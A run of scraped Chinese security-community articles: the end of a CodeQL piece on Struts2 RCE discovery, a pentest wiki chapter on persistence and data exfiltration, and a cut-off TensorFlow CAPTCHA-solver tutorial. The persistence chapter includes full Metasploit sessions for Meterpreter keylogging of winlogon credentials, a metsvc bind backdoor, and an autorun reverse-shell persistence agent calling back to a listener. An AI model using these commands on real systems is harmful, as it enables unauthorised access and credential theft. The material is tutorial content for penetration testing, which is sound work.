DataFlow库处理。通过研究之前的3个RCE漏洞，发现了新的4个RCE漏洞（可能是五个）！
鉴于S2-032，S2-033和S2-037都是在同一段时间内被发现的，大家很快能通过S2-032寻找到类似的S2-033和S2-037。那么问题来了，（S2-057）也来自类似的污染源，为啥整整两年时间内都没人发现嘞？个人认为，这是因为S2-032，S2-033和S2-037都出现在源代码中的相似位置（都在Rest插件中）。而S2-057和S2-032之间的相似性更多的是在语义层面。
如果你认为这个0day只是侥幸，因为作者假设了从ActionProxy传入的namespace可控，那请关注作者的下一篇文章，下一篇文章会详细介绍从HttpRequestServlet本身开始攻击链挖掘。作者还会分享他的一些工具，以及一些改进算法的Tips。在这个过程中，将看到QL如何发现S2-045！ | 社区文章 |
## 权限维持
### 0x01前言
>
> PS：权限维持这一部分原项目只是介绍了权限维持这一概念，并没有说有哪些手法可以达到权限维持的目的，wing很辛苦的在寻找资料，但是很杂，国内国外总结的我没看到合适的，个人认为，工具方面，后渗透的权限维持就是empire+msf/cs,可能是我没发现吧，我希望接下来的时间中，我能自己总结出自己的东西，那权限维持我就讲下msf这块的，empire和cs我会更新的。希望有意愿的大牛们可以提出你们宝贵的意见！下面进入正题，
一旦渗透测试人员设法进入目标系统，他应该努力维持他的权限，隐喻地说。他可以选择使用被劫持的系统作为发射台（就是成为DDoS攻击或垃圾邮件活动的僵尸网络的一部分），此时攻击、扫描和利用其他系统，或继续利用目前的系统模式，这两项行动都可能造成很大的损失。
例如，渗透测试人员可以设置一个嗅探器来拦截所有入站/出站网络流量，包括FTP（文件传输协议）和与其他系统的远程登录会话，以便他稍后将数据传输到任何他想要的地方。
对于那些想要不被发现的人来说，要采取进一步措施来确保他们的存活。通过这种方式可以有不同的方式，但通常是通过安装隐藏的基础设施来实现基于后门，特洛伊木马，rootkit和隐蔽通道的重复和不受限制的访问。当这个基础设施完全开放的时候，渗透测试人员就可以继续利用他认为有价值的任何信息。
#### 0x02 权限维持的工具和方法
后门程序或木马程序是一种方便的工具，可以轻松访问已经被破坏的系统。一个木马提供在应用程序级别的访问,但是要实现这个目的，用户需要在本地安装的恶意软件。在Windows运行的系统中，大多数木马程序都将自己安装为一项服务，然后作为本地系统运行，具有管理权限。此外，渗透测试人员可以挂载特洛伊木马以窃取系统上存储的密码，凭证和任何其他敏感信息。
就像远程访问木马（RAT）一样，后门程序安装在目标系统中，并带有内置的上传/下载功能。他们上传收集的感兴趣的文件，然后依靠诸如端口53（用于DNS）和80和443（分别用于HTTP和HTTPS）的端口来掩盖它们的流量。TrendMicro
报告，当攻击者使用HTTP传输数据并绕过检测时，网络事件绕过“连接限制”。基于[TrendMicro]调查，攻击者可能会手动下载包含所有收集数据的.ZIP文件。
**隐蔽通道**
是指数据通过秘密通信隧道发送。VoIP，DNS隧道，ICMP隧道和HTTP隧道是从网络内部提取数据的路径。所有这些隐蔽通道也可以传输加密的数据。
尽管检测隐蔽通道并非不可能，但是受害者可能需要付出相当大的努力。网络签名，流量数据分析和协议分析是出站流量异常的一些指标，掌握正确的工具的渗透测试人员可能会遇到。最重要的是，尽管协议或应用程序特定的工具不容易出于安全目的，但与特定于安全性的对象相比，它们可能会显示出更好的结果。
探测一个隐蔽的隧道是一回事，但是阻止它是完全不同的事情。渗透测试人员可以：
* 在公司信息边界阻止ICMP出站;
* 阻止对公司网络外部服务器的DNS请求，但不阻止内部DNS服务器;
* 利用Web代理来处理HTTP隧道;
在VoIP
RTR溢出隧道的情况下延迟传送语音邮件，以便他可以发送到音频处理器，该处理器将检查每个数据包的语音邮件中的编码数据（以与反垃圾邮件软件类似的方式）。
`rootkit`是一种在计算机系统隐藏的比较深的恶意软件，此，将Rootkit与其他类型的恶意软件区分开来的原因是它们隐藏自身的能力，以绕过计算机安全措施。实际上，这是rookit之所以被创造的主要原因。
`Rootkit`通常在特洛伊木马的帮助下加载，从具有“用户”级访问权的目标平台开始。一旦获得了攻击系统的初始立足点，它们就会监视密码和其他类似的登录操作。以获得“管理员”权限，这个过程被称为特权升级。不过，rootkit的真正“作用”是权限维持。
与普通病毒在短时间内试图造成尽可能多的伤害不同，rootkit往往潜伏在目标系统中，逐渐慢慢地破坏它。Prima看来重点是“秘密”一词。例如，rootkit键盘记录器被设计为在不知情的情况下记录受害者所键入的keywords，鉴于这种恶意软件可能未被发现，这将有足够的时间来窃取敏感信息，而且又会增加身份盗用的可能性。
在这方面，rootkits不同于一般的寄生虫，进入身体，但可能会保持多年，直到他们集结足够的力量克服体内的免疫系统。
如果我们把一个计算机系统分成三个基本层，那么我们最终将得到硬件，内核和操作系统级别。实质上，内核是操作系统的核心。用户级别的rootkit通常使用低优先级进程来破坏安全软件。由于以下原因，内核级别的rootkit比其他级别的rootkit更加隐身和危险：
* 当他们将代码添加到操作系统内核的某些部分时，他们有能力伪装自己的存在;
* 他们比操作系统早运行;
* 他们可以躲避加密并创建无限制访问渗透系统的秘密渠道;
* 已经证明，删除内核级别和启动级别的rootkit通常并不那么简单;
* 驻留在内核内存中的Rootkit通常不会在硬盘上留下任何痕迹。此外，他们可能会修改文件，磁盘的一部分，甚至修改内核，以防止重新启动。
在内核级别安装的Rootkit可以获得对潜在攻击者枪瞄系统的完全管理员访问权限。与特洛伊木马不同，rootkit为操作系统级别铺平了一条访问路径。
**关于如何删除rootkit的一些建议** ：
像防病毒软件这样的经典安全措施通常无法应对rootkit所代表的危险。作为一种替代方法，您可以选择旨在根除rootkit的专用程序之一：Malwarebytes
Anti-rootkit，GMER，Sophos Anti-Rootkit，TDSSKiller等，详情见[此处](http://www.geckoandfly.com/17960/anti-keylogger-rootkit-detection-and-removal-for-undetectable-spyware-computer-surveillance-malware/)!
尽管如此，有时候这些措施也有可能没什么效果，因为他们会取得成功只是缓解了一些危害，rootkit的传播在你的系统，不能保证，这些程序能够将rookit删除干净。
除了反rootkit软件之外，还可以启动“clean slate”程序 -即备份最重要的文件并完全重新安装操作系统。在正常情况下，这样的行为将会消灭rootkit。但即使如此，仍然没有100％的保证，因为一个非常罕见的rootkit，BIOS级别的rootkit，可以在重新安装之后幸免于难。
来源： https： //www.avast.com/c-rootkit
然而，无论rootkit如何难以隐藏，至少在理论上（如果对你有任何安慰的话）总是有迹象的，因为rootkit的目的是为外部人维护一个入口路径。
### 0x03数据泄露
数据泄露是指从计算机系统或IT服务器向外部系统或设备未经授权的数据传输。可以手动执行（类似于“复制粘贴”命令），也可以通过网络上的恶意软件自动执行。
2015年迈克菲报告指出，所有报告的数据泄露事件中有60％是通过直接电子手段发生的，而其余的40％涉及物理媒体，如将数据下载到USB驱动器或窃取笔记本电脑。这40％的份额中有相当一部分涉及手机，这可能是由于许多公司普遍接受自带设备政策。就个人而言，可识别信息（PII）和个人健康信息（PHI）是最主要的内容类别，其次是知识产权和财务数据。
数据通过电子方式渗透时，通常通过不同的网络协议，隧道协议，电子邮件或文件传输。虽然文件传输协议（FTP）被认为是一种标准的网络协议，其目的是传输文件，但也可能被用来促进数据渗透活动。其他协议和技术也适用，例如路由控制数据包，安全外壳，点对点，即时消息传递，Windows
Management
Instrumentation，隐藏视频或图像中的数据以及VoIP。网络摄像机，麦克风，和类似的外围设备可能会被操纵来监视目标的活动。渗透测试人员也可以使用HTTP文件传输或Tor匿名网络作为屏蔽位置和流量的手段。
有时在渗透测试之前，渗透测试人员想要处理数据，以便在被利用的系统之外更容易地转移数据。典型方法是压缩加密和密码保护。然后，处理的数据将从目标网络内上传到外面的某个服务器。公共网络是将数据从目标系统走私出去的一条较好的途径。
这个 [FrameworkPOS malware](http://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/)是演示数据泄露是如何工作的一个很好的例子-它利用了内存抓取技术，以挖掘出某个位置存储在端点上运行的进程的信用卡信息。
在查找到相关数据后，恶意软件将执行DNS隧道连接命令和控制服务器以提取数据。此外，FrameworkPOS通过对信用卡信息，主机名和IP地址进行XOR编码，并将编码后的包添加到HTTP请求中，从环境中导出数据。这个技巧有效地混淆了防火墙和基于代理的检查。
未经检测的数据泄露是许多情况下的不法行为者正在寻找的，因为针对Target和Home Depot
的真实网络攻击表明了这一点。这是因为他们窃取的一些信息是保密的，当它保密的时候它更有价值.
当涉及到提前持续威胁（APT）和阻止恶意行为者泄露您的数据时，及早发现是至关重要的。每个组织应该有一个有效的威胁情报程序，这将有助于确定所有可以被视为与数据泄露有关的可疑活动。通过连接到全球威胁情报网络，以及时了解最新的安全趋势，实时本地威胁情报系统应该得到补充。
根据Splunk企业安全性，一些值得注意的数据泄露指标是全面调查的一个很好的起点。这些指标是：
-未经批准的港口活动
* 向非公司域1的大量电子邮件活动
* 过多的DNS查询
* 主机发送过多的邮件
* 网站上传到非公司网站的用户
从本质上讲，防止数据泄露的有效方法是迄今为止关于检测和清除基本数据泄露（即特洛伊木马，后门，rootkit和隐蔽通道）的所有方法或工具。
### [附加]使用msf进行权限维持
> ps:本来想写写其他的手法，但是既然是wiki，我就按照[这里](https://www.offensive-> security.com/metasploit-unleashed/keylogging/)的来介绍吧。
#### 键盘记录
##### 使用Metasploit的键盘记录器
在你渗透进入目标系统之后，你可以采取两种不同的选择，要么简单粗暴，要么猥琐取巧。
如果你有足够的耐心，后一种可以得到大量的信息。 您可以使用一个工具来进行慢速的信息收集，就是Meterpreter的按键记录器脚本。
这个工具设计得非常好，可以让你捕获来自系统的所有键盘输入，而不需要写任何东西到磁盘，留给调查者一个最小的线索，以便以后跟进。
完美的获取密码，用户帐户和各种其他有价值的信息。
让我们看看它的作用。 首先，我们将正常地利用一个系统。
msf利用（warftpd_165_user）> 利用
[*]处理器绑定到LHOST 0.0.0.0
[*]启动反向处理程序
[*]连接到FTP服务器172.16.104.145:21 ...
[*]连接到目标FTP服务器。
[*]尝试目标Windows 2000 SP0-SP4英文...
[*]发送超大型舞台的中间舞台...（191字节）
[*]发送舞台（2650字节）
[*]在处理舞台之前睡觉.. 。
[*]上传DLL（75787字节）...
[*]上传完成。
[*]打开Meterpreter就会会话4（172.16.104.130:4444 - > 172.16.104.145:1246）
meterpreter >
然后，我们将把Meterpreter迁移到Explorer.exe进程，以便我们不必担心被利用的进程重新设置并关闭会话。
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
140 smss.exe \SystemRoot\System32\smss.exe
188 winlogon.exe ??\C:\WINNT\system32\winlogon.exe
216 services.exe C:\WINNT\system32\services.exe
228 lsass.exe C:\WINNT\system32\lsass.exe
380 svchost.exe C:\WINNT\system32\svchost.exe
408 spoolsv.exe C:\WINNT\system32\spoolsv.exe
444 svchost.exe C:\WINNT\System32\svchost.exe
480 regsvc.exe C:\WINNT\system32\regsvc.exe
500 MSTask.exe C:\WINNT\system32\MSTask.exe
528 VMwareService.exe C:\Program Files\VMwareVMware Tools\VMwareService.exe
588 WinMgmt.exe C:\WINNT\System32\WBEMWinMgmt.exe
664 notepad.exe C:\WINNT\System32\notepad.exe
724 cmd.exe C:\WINNT\System32\cmd.exe
768 Explorer.exe C:\WINNT\Explorer.exe
800 war-ftpd.exe C:\Program Files\War-ftpd\war-ftpd.exe
888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
meterpreter > migrate 768
[*] Migrating to 768...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 768
最后，我们启动键盘记录器，等待一段时间并转储输出。
eterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
tgoogle.cm my credit amex myusernamthi amexpasswordpassword
不可能更简单！注意如何表示按键，如控制和退格键。
作为一个额外的好处，如果你想捕获系统登录信息，你只需迁移到winlogon进程。这将捕获所有登录到系统的用户的凭据，只要这个用户正在运行。
meterpreter > ps
Process list
=================
PID Name Path
--- ---- ---- 401 winlogon.exe C:\WINNT\system32\winlogon.exe
meterpreter > migrate 401
[*] Migrating to 401...
[*] Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer...
**** A few minutes later after an admin logs in ****
meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!
在这里我们可以看到，通过登录到winlogon进程可以让我们有效地收集所有用户登录到该系统并捕获它。我们已经捕获管理员用“ohnoes1vebeenh4x0red！”的密码登录。
其实这里我们还可以这样思考：获取到一个webshell后，可以用这个来记录管理员的登录密码，为内网渗透做准备，运气好的话可以批量一波。
#### 与Metsvc交互
现在我们将使用带有`windows/metsvc_bind_tcp` payload的多/处理程序连接到远程系统。这是一个特殊的
payload，因为典型的Meterpreter payload是多阶段的，其中最少量的代码作为漏洞利用的一部分被发送，然后在代码执行完成后上传更多的代码。
想想穿梭式火箭，以及用来使航天飞机进入轨道的助推火箭。这是非常相同的，除了多余的东西在那里，然后减小，Meterpreter开始尽可能小，然后增加。但是，在这种情况下，完整的Meterpreter代码已经上传到远程机器，并且不需要分段连接。
我们将`metsvc_bind_tcp`的所有选项与受害者的IP地址以及我们希望将服务连接到我们计算机上的端口一起设置好。然后我们运行这个漏洞。
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 31337 yes The local port
RHOST 192.168.1.104 no The target address
Exploit target:
Id Name
-- ---- 0 Wildcard Target
msf exploit(handler) > exploit
`exploit`后，我们的metsvc后门立即连接到我们这里。
[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
140 smss.exe \SystemRoot\System32\smss.exe
168 csrss.exe \??\C:\WINNT\system32\csrss.exe
188 winlogon.exe \??\C:WINNT\system32\winlogon.exe
216 services.exe C:\WINNT\system32\services.exe
228 lsass.exe C:\WINNT\system32\lsass.exe
380 svchost.exe C:\WINNT\system32\svchost.exe
408 spoolsv.exe C:\WINNT\system32\spoolsv.exe
444 svchost.exe C:\WINNT\System32\svchost.exe
480 regsvc.exe C:\WINNT\system32\regsvc.exe
500 MSTask.exe C:\WINNT\system32\MSTask.exe
528 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe
564 metsvc.exe c:\WINNT\my\metsvc.exe
588 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe
676 cmd.exe C:\WINNT\System32\cmd.exe
724 cmd.exe C:\WINNT\System32\cmd.exe
764 mmc.exe C:\WINNT\system32\mmc.exe
816 metsvc-server.exe c:\WINNT\my\metsvc-server.exe
888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1000 Explorer.exe C:\WINNT\Explorer.exe
1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
在这里我们有一个典型的Meterpreter会话！其次，要小心，何时以及如何使用这个技巧。如果您通过在系统上放置这样一个有用的后门，使攻击者的工作更容易，但是系统所有者就不会感到高兴。
#### Meterpreter服务
##### 了解Metasploit Meterpreter
在经历了所有渗透系统的艰苦工作之后，将自己较容易的方式留在系统中供以后使用通常是一个好主意，也就是我们常说的`后门`。这样，如果您最初利用的服务已关闭或打补丁，您仍然可以访问系统。Metasploit有一个Meterpreter脚本persistence.rb，它将创建一个Meterpreter服务，即使远程系统重新启动，您也可以使用它。
在我们继续下一步之前，有一个警告的话。这里显示的持久Meterpreter不需要认证。这意味着任何连接这个的人都可以进入后门！如果您正在进行渗透测试，这不是一件好事，因为这可能是一个重大的风险。在现实世界的情况下，一定要格外谨慎，一旦完成任务，一定要清理干净。
一旦我们获得已有权限的主机，我们用`-h`开关运行持久性脚本来查看哪些选项可用：
eterpreter > run persistence -h
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L Location in target host to write payload to, if none %TEMP% will be used.
-P Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on which the system running Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back
我们将设置持续的Meterpreter会话，等待用户登录到远程系统，然后尝试每隔5秒钟在端口443上的IP地址192.168.1.71连接回监听器。
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >
请注意，脚本的输出为您提供了在完成时删除持久侦听器的命令。 一定要记下来，这样你就不会在系统上留下未经验证的后门。
要验证它是否工作，我们重新启动远程系统并设置我们的payload程序。
eterpreter > reboot
Rebooting...
meterpreter > exit
[*] Meterpreter session 3 closed. Reason: User exit
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler...
当用户登录到远程系统时，会为我们打开一个Meterpreter会话。
[*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600
meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
meterpreter >
权限维持的东西这些只是冰山一角，更多的等待我们自己去发现、探索。
关于后门，最近有个老师傅总结一些apt的。都是实战中得出的经验。
他们在这！
[php安全新闻早八点-高级持续渗透-第一季关于后门](https://micropoor.blogspot.hk/2017/12/php.html)
[php安全新闻早八点-高级持续渗透-第二季关于后门补充一](https://micropoor.blogspot.hk/2017/12/php_24.html)
[php安全新闻早八点-高级持续渗透-第三季关于后门补充二](https://micropoor.blogspot.hk/2017/12/php_25.html)
[php安全新闻早八点-高级持续渗透-第四季关于后门](https://micropoor.blogspot.hk/2017/12/php_72.html)
### 0x04结论
`保持访问权限`是一个具有非常具体的目的阶段 -允许渗透测试者停留在目标系统中，直到他获得他认为有价值的信息，然后设法从系统中成功提权。然而，即使如此，说起来容易做起来难。让我们来比较一下，在未经他人许可的情况下，在别人的房子里进行长期活动
-和进入家里走一段时间是一回事，但是如果你想在没有吸引主人的注意的情况下再待一会儿，那又是另外一回事了。尽管在网络世界中这种类似Houdini的技巧可能会稍微简单一些，但仍然具有挑战性。具有挑战性但并非不可能。
### 0x05参考文献列表
blog.globalknowledge.com（2011）。黑客攻击的5个阶段：维护访问。可在http://blog.globalknowledge.com/technology/security/hacking-cybercrime/the-5-phases-of-hacking-maintaining-access/（23-06-2016）
Bull，D。（2016）。数据泄露，第4部分：数据如何离开你的四面墙？可在https://blogs.mcafee.com/business/data-exfiltration-part-4-data-leave-four-walls/（23-06-2016）
Buskirk，P。（2015）。先进的方法来检测先进的网络攻击：HTTP（S）Exfiltration。可在http://www.novetta.com/2015/01/advanced-methods-to-detect-advanced-cyber-attacks-https-exfiltration/（23-06-2016）
DaBoss（2013）。隐形病毒和Rootkit。可在http://www.cknow.com/cms/vtutor/stealth-viruses-and-rootkits.html（23-06-2016）
FixMeStick（2015）。病毒实验室 - 什么是Rootkit？可在https://www.fixmestick.com/blog/what-is-a-rootkit/（23-06-2016）
gadgetreview.com（2015）。什么是Rootkit及其为什么是危险的？可在http://www.gadgetreview.com/what-are-rootkits-and-why-they-are-dangerous（23-06-2016）
卡巴斯基。Rootkit是如何工作的。可在https://usa.kaspersky.com/internet-security-center/internet-safety/what-is-rootkit-virus（23-06-2016）
主。N.（2015）。什么是数据泄露？可在https://digitalguardian.com/blog/what-data-exfiltration（23-06-2016）
Lewis，N.（2011）。检测隐蔽通道，防止企业数据泄露。可在http://searchsecurity.techtarget.com/answer/Detecting-covert-channels-to-prevent-enterprise-data-exfiltration（23-06-2016）
McAfee（2015）。停止数据泄露。可在http://www.mcafee.com/us/resources/solution-briefs/sb-quarterly-threats-aug-2015-1.pdf（23-06-2016）
占领网站（2015年）。如何用Tunnelshell创建几乎不可察觉的隐蔽通道。可在http://null-byte.wonderhowto.com/how-to/hack-like-pro-create-nearly-undetectable-covert-channel-with-tunnelshell-0155704/（23-06-2016）
史密斯，吨（2015年）。通过朦胧透视 - 检测攻击者窃取您的数据的策略。可在http://www.tripwire.com/state-of-security/security-data-protection/cyber-security/exfiltration-through-obscrurity/（23-06-2016）
splunk.com（2014）。检测并停止数据泄露。可在http://www.splunk.com/en_us/solutions/solution-areas/security-and-fraud/use-cases/detect-and-stop-data-exfiltration.html（23-06-2016）
趋势科技（2013）。数据泄露：威胁行为者如何窃取您的数据？可在http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/how_do_threat_actors_steal_your_data.pdf（23-06-2016）
阶段4 - 维护访问。可在http://www.techrepublic.com/blog/it-security/the-five-phases-of-a-successful-network-penetration/（23-06-2016）
演讲主题上：“CIS 450 -网络安全第15章-保留访问” -演讲全文：可在http://slideplayer.com/slide/7323200/（23-06-2016）
什么是一个rootkit。https://www.avast.com/c-rootkit（23-06-2016） | 社区文章 |
## 0x000 前言
最近看到一篇关于 Burp Suite插件的推送
[【reCAPTCHA】一款识别图形验证码的Burp
Suite插件](https://xianzhi.aliyun.com/forum/topic/458/
"【reCAPTCHA】一款识别图形验证码的Burp Suite插件")
仔细看了一下。作者再使用插件需要一个额外的第三方的验证码网站。
对于验证码识别，其实现在用深度学习已经对普通的验证码有了效率码有了非常高的识别率 。
这篇文章主要来编写如何使用tensorflow来编写自己的验证码识别器。
## 0x001 深度学习基础
由于本文只是简单做一下验证码的介绍 并不会过多深入讲述深度学习。只是简单概括一下 深度学习需要做的事情。总体来讲，深度学习的4个步骤
* 采样，制作样本文件
* 根据样本文件类型创建识别模型
* 对样本文件分为训练样本和测试样本来训练识别模型
* 保存识别模型和验证
* 下面按照上面四个历程来尝试 编写自用的验证码模型。
* 本文大多数代码来自于 [腾讯开发者实验室](https://cloud.tencent.com/developer/ "腾讯开发者实验室")
## 0x002 采样，制作样本文件
样本文件的来源有2种。
* 有生产验证码的代码 ，可以自己生成，例如众多的开源软件
* 人工采集，自行打码（最少最少需要200-300张左右）
为了快速验证结果，先直接使用ImageCaptcha 来生成验证码图案来识别 。
需要安装 captcha 库
`sudo pip install captcha`
#!/usr/bin/python
# -*- coding: utf-8 -*
from captcha.image import ImageCaptcha
from PIL import Image
import numpy as np
import random
import string
class generateCaptcha():
def __init__(self,
width = 160,#验证码图片的宽
height = 60,#验证码图片的高
char_num = 4,#验证码字符个数
characters = string.digits + string.ascii_uppercase + string.ascii_lowercase):#验证码组成，数字+大写字母+小写字母
self.width = width
self.height = height
self.char_num = char_num
self.characters = characters
self.classes = len(characters)
def gen_captcha(self,batch_size = 50):
X = np.zeros([batch_size,self.height,self.width,1])
img = np.zeros((self.height,self.width),dtype=np.uint8)
Y = np.zeros([batch_size,self.char_num,self.classes])
image = ImageCaptcha(width = self.width,height = self.height)
while True:
for i in range(batch_size):
captcha_str = ''.join(random.sample(self.characters,self.char_num))
img = image.generate_image(captcha_str).convert('L')
img = np.array(img.getdata())
X[i] = np.reshape(img,[self.height,self.width,1])/255.0
for j,ch in enumerate(captcha_str):
Y[i,j,self.characters.find(ch)] = 1
Y = np.reshape(Y,(batch_size,self.char_num*self.classes))
yield X,Y
def decode_captcha(self,y):
y = np.reshape(y,(len(y),self.char_num,self.classes))
return ''.join(self.characters[x] for x in np.argmax(y,axis = 2)[0,:])
def get_parameter(self):
return self.width,self.height,self.char_num,self.characters,self.classes
def gen_test_captcha(self):
image = ImageCaptcha(width = self.width,height = self.height)
captcha_str = ''.join(random.sample(self.characters,self.char_num))
img = image.generate_image(captcha_str)
img.save(captcha_str + '.jpg')
if __name__ == '__main__':
g = generateCaptcha()
g.gen_test_captcha()
保存为 `generate_captcha.py`
进到该目录 运行 `python generate_captcha.py`
你会看到该目录下会生成图片文件
自此 样本的工作完成了
## 0x003 创建识别模型
模型使用了卷积神经网络（CNN）。（CNN是深度学习一个特殊示例，它在计算机视觉有非常重要的影响。） 这里使用了 3 层隐藏层、2 层全连接层，对每层都进行
dropout。
* dropout是用来防止过拟合
* 过拟合 简单的理解就是 对于训练模型识别率过高，但是真正的识别率过低。打个比喻就是你考试前背题背的很熟悉，结果考试出的不是你背的，结果很差
* 层的计算公式
但是一般我们都是边调整 边测试已达到效率最优
模型代码 ：
#!/usr/bin/python
# -*- coding: utf-8 -*
import tensorflow as tf
import math
class captchaModel():
def __init__(self,
width = 160,
height = 60,
char_num = 4,
classes = 62):
self.width = width
self.height = height
self.char_num = char_num
self.classes = classes
def conv2d(self,x, W):
return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')
def max_pool_2x2(self,x):
return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],
strides=[1, 2, 2, 1], padding='SAME')
def weight_variable(self,shape):
initial = tf.truncated_normal(shape, stddev=0.1)
return tf.Variable(initial)
def bias_variable(self,shape):
initial = tf.constant(0.1, shape=shape)
return tf.Variable(initial)
def create_model(self,x_images,keep_prob):
#first layer
w_conv1 = self.weight_variable([5, 5, 1, 32])
b_conv1 = self.bias_variable([32])
h_conv1 = tf.nn.relu(tf.nn.bias_add(self.conv2d(x_images, w_conv1), b_conv1))
h_pool1 = self.max_pool_2x2(h_conv1)
h_dropout1 = tf.nn.dropout(h_pool1,keep_prob)
conv_width = math.ceil(self.width/2)
conv_height = math.ceil(self.height/2)
#second layer
w_conv2 = self.weight_variable([5, 5, 32, 64])
b_conv2 = self.bias_variable([64])
h_conv2 = tf.nn.relu(tf.nn.bias_add(self.conv2d(h_dropout1, w_conv2), b_conv2))
h_pool2 = self.max_pool_2x2(h_conv2)
h_dropout2 = tf.nn.dropout(h_pool2,keep_prob)
conv_width = math.ceil(conv_width/2)
conv_height = math.ceil(conv_height/2)
#third layer
w_conv3 = self.weight_variable([5, 5, 64, 64])
b_conv3 = self.bias_variable([64])
h_conv3 = tf.nn.relu(tf.nn.bias_add(self.conv2d(h_dropout2, w_conv3), b_conv3))
h_pool3 = self.max_pool_2x2(h_conv3)
h_dropout3 = tf.nn.dropout(h_pool3,keep_prob)
conv_width = math.ceil(conv_width/2)
conv_height = math.ceil(conv_height/2)
#first fully layer
conv_width = int(conv_width)
conv_height = int(conv_height)
w_fc1 = self.weight_variable([64*conv_width*conv_height,1024])
b_fc1 = self.bias_variable([1024])
h_dropout3_flat = tf.reshape(h_dropout3,[-1,64*conv_width*conv_height])
h_fc1 = tf.nn.relu(tf.nn.bias_add(tf.matmul(h_dropout3_flat, w_fc1), b_fc1))
h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)
#second fully layer
w_fc2 = self.weight_variable([1024,self.char_num*self.classes])
b_fc2 = self.bias_variable([self.char_num*self.classes])
y_conv = tf.add(tf.matmul(h_fc1_drop, w_fc2), b_fc2)
return y_conv
保存为`captcha_model.py`
## 0x004 训练识别模型
有了样本和模型以后 我们开始训练模型
#!/usr/bin/python
import tensorflow as tf
import numpy as np
import string
import generate_captcha
import captcha_model
if __name__ == '__main__':
captcha = generate_captcha.generateCaptcha()
width,height,char_num,characters,classes = captcha.get_parameter()
x = tf.placeholder(tf.float32, [None, height,width,1])
y_ = tf.placeholder(tf.float32, [None, char_num*classes])
keep_prob = tf.placeholder(tf.float32)
model = captcha_model.captchaModel(width,height,char_num,classes)
y_conv = model.create_model(x,keep_prob)
cross_entropy = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=y_,logits=y_conv))
train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)
predict = tf.reshape(y_conv, [-1,char_num, classes])
real = tf.reshape(y_,[-1,char_num, classes])
correct_prediction = tf.equal(tf.argmax(predict,2), tf.argmax(real,2))
correct_prediction = tf.cast(correct_prediction, tf.float32)
accuracy = tf.reduce_mean(correct_prediction)
saver = tf.train.Saver()
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
step = 0
while True:
